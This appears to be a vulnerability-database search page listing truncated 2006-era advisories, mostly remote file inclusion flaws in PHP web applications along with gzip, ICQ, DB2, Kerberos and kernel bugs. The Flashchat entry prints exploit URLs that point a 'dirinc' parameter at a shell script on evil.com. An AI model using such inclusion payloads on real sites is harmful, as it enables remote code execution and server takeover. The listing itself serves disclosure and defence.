5366 matches found
phpQuestionnaire 3.12 (phpQRootDir) Remote File Include Vulnerability
No description provided by source. SolpotCrew Community phpQuestionnaire 3.12 GLOBALSphpQRootDir Remote File Inclusion vendor : http://www.chumpsoft.com/products/phpq/ Bug Found By :Solpot a.k.a k. Hasibuan 21-09-2006 contact: [email protected] Website :...
phpQuestionnaire 3.12 (phpQRootDir) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ===================================================================== phpQuestionnaire 3.12 phpQRootDir Remote File Include Vulnerability ===================================================================== SolpotCrew Community...
phpQuestionnaire 3.12 - 'phpQRootDir' Remote File Inclusion
SolpotCrew Community phpQuestionnaire 3.12 GLOBALSphpQRootDir Remote File Inclusion vendor : http://www.chumpsoft.com/products/phpq/ Bug Found By :Solpot a.k.a k. Hasibuan 21-09-2006 contact: [email protected] Website : http://www.nyubicrew.org/adv/solpot-adv-08.txt Greetz: choi , h4ntu ,...
gzip contains an array out-of-bounds vulnerability in make_table()
Overview The gzip program contains a stack modification vulnerability that may allow an attacker to execute arbitrary code, or create a denial-of-service condition.. Description The gzip program is used to compress and decompress archived files.A stack modification vulnerability exists in gzip. A...
gzip contains a buffer underflow
Overview The gzip program contains a buffer underflow vulnerability that may allow an attacker to execute arbitrary code, or create a denial-of-service condition. Description The gzip program is used to compress and decompress archived files.A buffer underflow vulnerability exists in gzip. An...
aeDating <= 4.1 dir[inc] Remote File Include Vulnerabilities
No description provided by source. AEDating all versions Remote File inclusion. Vulnerable code: /inc/design.inc.php /inc/admindesign.inc.php requireonce "$dirincdb.inc.php" ; requireonce "$dirincprof.inc.php" ; Exploit:...
flashchat.txt
NeXtMaN Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...
: AOL ICQ Pro 2003b heap overflow vulnerability
Date Published : 2006-09-07 Last Update : 2006-09-06 Advisory ID : CORE-2006-0321 Bugtraq ID : 19897 CVE Name : CVE-2006-4662 Title : AOL ICQ Pro 2003b heap overflow vulnerability Class : Boundary Error Condition Remotely Exploitable : Yes Locally Exploitable : Yes Advisory URL :...
[Full-disclosure] Details for BID 19586 - DB2 UDB Vulnerability
DB2 UDB - Handshake Protocol DoS Attack BID 19586 Background DB2 Universal Database UDBtm is a popular database software package from IBM available for legacy platforms as well as open systems Unix and Windows. Clients use a protocol called DRDA to communicate with the DB2 UDB server. Protocol...
sicherheit_286.txt
+-------------------------------------------------------------------- + + NEWSolved Lite v1.9.2 abspath Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NEWSolved Lite v1.9.2 maybe above + Venedor ...........:...
Microsoft Windows Kernel vulnerable to privilege escalation
Overview Microsoft Windows contains a privilege escalation vulnerability that could allow an authenticated, local attacker to gain complete control of the affected system. Description Winlogon is the component of Microsoft Windows responsible for interactive, security related functions. Upon logo...
MIT Kerberos (krb5) krshd and v4rcp do not properly validate setuid() or seteuid() calls
Overview Privilege escalation vulnerabilities in MIT krb5 krshd and v4rcp may allow an authenticated attacker to execute arbitrary code. Description The MIT krb 5 krshd and v4rcp programs contain multiple privilege escalation vulnerabilities. MIT krb5 Security Advisory 2006-001 states that the...
Intel PRO/Wireless 2100 Network Connection Driver Local Privilege Escalation Vulnerability
The remote host is running a version of Intel Wireless/PRO 2100 driver that is fails to properly handle certain malformed frames. A local attacker may exploit this flaw to elevate his privileges SYSTEM on the remote host. To exploit this flaw, an attacker would need to send a specially crafted...
Joomla com_bayesiannaivefilter Component <= 1.1 Inclusion Vulnerability
No description provided by source. Pablin77 - XTech Inc Group combayesiannaivefilter Mambo Component Remote File Inclusion mosConfigabsolutepath Discovered By Pablin77 contact: Pablin77 at Argentina dot com Lebanon-Israel...STOP! No War!!! peace, that's all This is a massive cyber-protest, we are...
Joomla! Component com_bayesiannaivefilter 1.1 - Remote File Inclusion
Joomla! Component combayesiannaivefilter 1.1 - Remote File Inclusion Pablin77 - XTech Inc Group combayesiannaivefilter Mambo Component Remote File Inclusion mosConfigabsolutepath Discovered By Pablin77 contact: Pablin77 at Argentina dot com Lebanon-Israel...STOP! No War!!! peace, that's all This ...
Joomla com_bayesiannaivefilter Component <= 1.1 Inclusion Vulnerability
Exploit for unknown platform in category web applications ======================================================================= Joomla combayesiannaivefilter Component = 1.1 Inclusion Vulnerability ======================================================================= Pablin77 - XTech Inc Grou...
Joomla! Component com_bayesiannaivefilter 1.1 - Remote File Inclusion
Pablin77 - XTech Inc Group combayesiannaivefilter Mambo Component Remote File Inclusion mosConfigabsolutepath Discovered By Pablin77 contact: Pablin77 at Argentina dot com Lebanon-Israel...STOP! No War!!! peace, that's all This is a massive cyber-protest, we are : eno7 | XTech Inc | byond crew |...
CVE-2006-3827
The CVE-2006-3827 entry affects Kailash Nadh’s boastMachine (formerly bMachine) up to v3.1. The issue is an SQL injection in bmc/Inc/core/admin/search.inc.php, exploitable by remote authenticated administrators via the blog parameter. This is caused by unsanitized input being used in SQL queries,...
Solaris 10 - sysinfo() Local Kernel Memory Disclosure (1)
Solaris 10 - sysinfo Local Kernel Memory Disclosure 1 / Sun Microsystems Solaris sysinfo Kernel Memory Disclosure exploit =================================================================== Local exploitation of an integer overflow vulnerability in Sun Microsystems Inc. Solaris allows attackers t...